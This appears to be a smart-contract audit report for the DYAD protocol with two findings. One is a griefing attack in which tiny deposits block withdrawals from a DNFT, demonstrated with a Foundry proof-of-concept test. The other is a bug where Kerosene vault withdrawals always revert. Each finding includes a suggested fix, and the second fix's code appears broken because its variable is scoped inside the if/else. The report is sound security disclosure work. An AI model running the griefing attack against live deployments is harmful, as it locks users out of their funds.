DYAD - 4rdiii's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L119

Vulnerability details

Impact

As anyone can deposit funds into a DNFT, a malicious user can deposit a small amount and set the idToBlockOfLastDeposit to the most recent block, disabling withdrawals from a certain DNFT ID. This can be done continuously (in every block, which is quite gas costly but still doable in a specific amount of time) or can be done via frontrunning and only when the owner of the DNFT intends to withdraw. Causing Liquidity Providers difficulties in withdrawing their deposits.

Proof of Concept## Proof of Concept

Add the following test to test/frol/v2.t.sol. Exploit Steps:

1. Liquidity Provider (LP) makes a DNFT and deposits some WETH into it.
2. LP attempts to withdraw after some time.
3. Griefer frontruns it or just continuously deposits to stop the withdraw.
4. LP is unable to withdraw.

function testGriefingAttackBlocksWithdraws() public {
        //0. set vars:
        uint256 AMOUNT_TO_DEPOSIT = 10 ether;
        uint256 GRIEFING_AMOUNT_TO_DEPOSIT = 0.0000001 ether;
        address VAULTMANAGER_LICENSER = 0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85;

        //1. deal prank address some eth and mint weth:
        vm.deal(lp, AMOUNT_TO_DEPOSIT + 1 ether); // +1 for mint dnft costs
        vm.startPrank(lp);
        WETH(payable(MAINNET_WETH)).deposit{value: AMOUNT_TO_DEPOSIT}();
        uint256 balanceLP = WETH(payable(MAINNET_WETH)).balanceOf(lp);
        assertEq(balanceLP, AMOUNT_TO_DEPOSIT);
        //1.a. do the same for greifer account
        vm.deal(grief, AMOUNT_TO_DEPOSIT);
        vm.startPrank(grief);
        WETH(payable(MAINNET_WETH)).deposit{value: AMOUNT_TO_DEPOSIT}();
        uint256 balanceGrief = WETH(payable(MAINNET_WETH)).balanceOf(grief);
        assertEq(balanceGrief, AMOUNT_TO_DEPOSIT);
        vm.stopPrank();
        //2. Mint a Dnft for the user and add vault to it:
        vm.startPrank(lp);
        uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(lp);
        assertEq(DNft(MAINNET_DNFT).balanceOf(lp), 1);
        contracts.vaultManager.add(id, address(contracts.ethVault));
        vm.stopPrank();
        //3. add VaultV2 to vaultmanager licenser:
        vm.prank(Licenser(VAULTMANAGER_LICENSER).owner());
        Licenser(VAULTMANAGER_LICENSER).add(address(contracts.vaultManager));
        //4. deposit Weth to vault:
        vm.startPrank(lp);
        WETH(payable(MAINNET_WETH)).approve(
            address(contracts.vaultManager),
            10 ether
        );
        contracts.vaultManager.deposit(
            id,
            address(contracts.ethVault),
            10 ether
        );
        vm.stopPrank();
        //5. let some time pass and try a withdraw
        vm.roll(1);
        vm.warp(1);
        //5.a. A malicous user deposits to stop the withdraw with a small deposit, this can be done continuously here we just did it one time
        vm.startPrank(grief);
        WETH(payable(MAINNET_WETH)).approve(
            address(contracts.vaultManager),
            GRIEFING_AMOUNT_TO_DEPOSIT
        );
        contracts.vaultManager.deposit(
            id,
            address(contracts.ethVault),
            GRIEFING_AMOUNT_TO_DEPOSIT
        );
        vm.stopPrank();
        //5.b lp tries to withdraw but is denied
        vm.prank(lp);
        vm.expectRevert(DepositedInSameBlock.selector); // error DepositedInSameBlock();

        contracts.vaultManager.withdraw(
            id,
            address(contracts.ethVault),
            10 ether,
            lp
        );
    }

Tools Used

• Manual Review
• Foundry

Recommended Mitigation Steps

To fix this issue, you can either completely stop other users from depositing into a DNFT, or if that's not possible or changes the protocol design, set a minimum deposit (e.g., 0.1 wETH). Here is a simple example in which I added a min deposit (note that it only works for weth and not other tokens, you should probably set min amount based on vault asset type)

.
.
.
+   error DepositIsLowerThanMin();
.
.
.
    function deposit(
            uint256 id,
            address vault,
            uint256 amount
        ) external isValidDNft(id) {
+           if (amount <= 0.1 ether) {
+               revert DepositIsLowerThanMin();
+           }
            idToBlockOfLastDeposit[id] = block.number;
            Vault _vault = Vault(vault);
            _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
            _vault.deposit(id, amount);
        }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L134

Vulnerability details

Impact

Users can use VualtManagerV2::deposit to deposit their Kerosene to their DNfts. However, if they attempt to withdraw it, the process will always revert.This is because the VualtManagerV2::withdraw function uses _vault.oracle().decimals() to get the oracle decimals, but the Kerosine Vaults does not have the oracle state variable.

<details> <summary> withdraw function </summary>

function withdraw(
        uint256 id,
        address vault,
        uint256 amount,
        address to
    ) public isDNftOwner(id) {
        if (idToBlockOfLastDeposit[id] == block.number) {
            revert DepositedInSameBlock();
        } 
        uint256 dyadMinted = dyad.mintedDyad(address(this), id);
        Vault _vault = Vault(vault);
        uint256 value = (amount * _vault.assetPrice() * 1e18) /
@>          10 ** _vault.oracle().decimals() /
@>          //q this will always revert if withdawing kerosene collateral! kerosene vaults doesn't have oracle
            10 ** _vault.asset().decimals();
        if (getNonKeroseneValue(id) - value < dyadMinted) {
            revert NotEnoughExoCollat();
        }
        _vault.withdraw(id, to, amount);
        if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow();
    }

</details>

Proof of Concept

Add the following test to exisiting v2.t.sol test suit. Steps:

1. Deal prank address some ETH and mint WETH.
2. Mint a DNft for the user and add a vault to it.
3. Add VaultV2 to vaultManager licenser.
4. Mint the maximum amount of Dyads.
5. Try to mint more; this should fail!
6. Get some Kerosene from mainnetOwner.
7. Deposit Kerosene into vaults.
8. Try to mint after Kerosene deposit; this should succeed.
9. Burn all minted Dyad and withdraw non-Kerosene collaterals.
10. Withdraw all Kerosene; this will always revert!

<details> <summary> PoC </summary>

function testKoreseneWithdrawsWillAlwaysFail() public {
        //1. deal prank address some eth and mint weth:
        vm.deal(lp, 11 ether);
        vm.startPrank(lp);
        WETH(payable(MAINNET_WETH)).deposit{value: 10 ether}();
        uint256 balance = WETH(payable(MAINNET_WETH)).balanceOf(lp);
        assertEq(balance, 10 ether);
        //2. Mint a Dnft for the user and add vault to it:
        uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(lp);
        assertEq(DNft(MAINNET_DNFT).balanceOf(lp), 1);
        contracts.vaultManager.add(id, address(contracts.ethVault));
        vm.stopPrank();
        //3. add VaultV2 to vaultmanager licenser:
        address VAULTMANAGER_LICENSER = 0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85;
        vm.prank(Licenser(VAULTMANAGER_LICENSER).owner());
        Licenser(VAULTMANAGER_LICENSER).add(address(contracts.vaultManager));
        //4. try to Mint Dyads:
        vm.startPrank(lp);
        WETH(payable(MAINNET_WETH)).approve(
            address(contracts.vaultManager),
            10 ether
        );
        contracts.vaultManager.deposit(
            id,
            address(contracts.ethVault),
            10 ether
        );
        uint256 maxMintAmount = (contracts.vaultManager.getNonKeroseneValue(
            id
        ) * 2) / 3 ether;
        contracts.vaultManager.mintDyad(id, maxMintAmount, lp);
        vm.stopPrank();
        uint256 DyadBalance = ERC20(MAINNET_DYAD).balanceOf(lp);
        assertEq(DyadBalance, maxMintAmount);
        //5. try to mint more? should fail!
        vm.expectRevert();
        contracts.vaultManager.mintDyad(id, 100 ether, lp);
        //6. get some kerosene from mainWallet
        vm.prank(MAINNET_OWNER); //mainnetOwner
        ERC20(MAINNET_KEROSENE).transfer(lp, 10000 ether);
        //7. deposit kerosene into vaults
        vm.startPrank(lp);
        ERC20(MAINNET_KEROSENE).approve(
            address(contracts.vaultManager),
            10000 ether
        );
        contracts.vaultManager.deposit(
            id,
            address(contracts.unboundedKerosineVault),
            5000 ether
        );
        contracts.vaultManager.deposit(
            id,
            address(contracts.boundedKerosineVault),
            5000 ether
        );
        //8. try to mint after  kerosene deposit=> succeeds
        contracts.vaultManager.mintDyad(id, 100 ether, lp);
        //9. burn all minted dyad and withdraw nonkerosene collaterals
        vm.roll(1);
        vm.warp(1); // let some time and block to pass
        contracts.vaultManager.burnDyad(id, maxMintAmount + 100 ether);
        contracts.vaultManager.withdraw(
            id,
            address(contracts.ethVault),
            10 ether,
            lp
        );
        //10. withdraw some of kerosene => will revert always!
        vm.expectRevert();
        contracts.vaultManager.withdraw(
            id,
            address(contracts.unboundedKerosineVault),
            10 ether,
            lp
        );

        vm.expectRevert();
        contracts.vaultManager.withdraw(
            id,
            address(contracts.boundedKerosineVault),
            10 ether,
            lp
        );
    }

</details>

Tools Used

Manual Review, Foundry Test Suit

Recommended Mitigation Steps

To fix this issue, it's recommended to add a check to the withdraw and redeem functions (which have the same problem). In the case of withdrawing from the Kerosene vaults (or in case that vault.asset == Kerosene), do not use the oracle state variable of the vault contract. Instead, use fixed decimals for Kerosene price.

<details> <summary> Recommended Mitigations </summary>

function withdraw(
        uint256 id,
        address vault,
        uint256 amount,
        address to
    ) public isDNftOwner(id) {
        if (idToBlockOfLastDeposit[id] == block.number) {
            revert DepositedInSameBlock();
        } 
        uint256 dyadMinted = dyad.mintedDyad(address(this), id);
        Vault _vault = Vault(vault);
-       uint256 value = (amount * _vault.assetPrice() * 1e18) /
-           10 ** _vault.oracle().decimals() /
-           10 ** _vault.asset().decimals();
+       address MAINNET_KEROSENE = 0xf3768D6e78E65FC64b8F12ffc824452130BD5394;
+       uint256 FIXED_KEROSENE_PRICE_DECIMALS = 8;
+       if (address(_vault.asset()) == MAINNET_KEROSENE) {
+           uint256 value = (amount * _vault.assetPrice() * 1e18) /
+               10 ** FIXED_KEROSENE_PRICE_DECIMALS /
+               10 ** _vault.asset().decimals();
+       } else {
+           uint256 value = (amount * _vault.assetPrice() * 1e18) /
+               10 ** _vault.oracle().decimals() /
+               10 ** _vault.asset().decimals();
+       }
        if (getNonKeroseneValue(id) - value < dyadMinted) {
            revert NotEnoughExoCollat();
        }
        _vault.withdraw(id, to, amount);
        if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow();
    }

</details>

Assessed type

Token-Transfer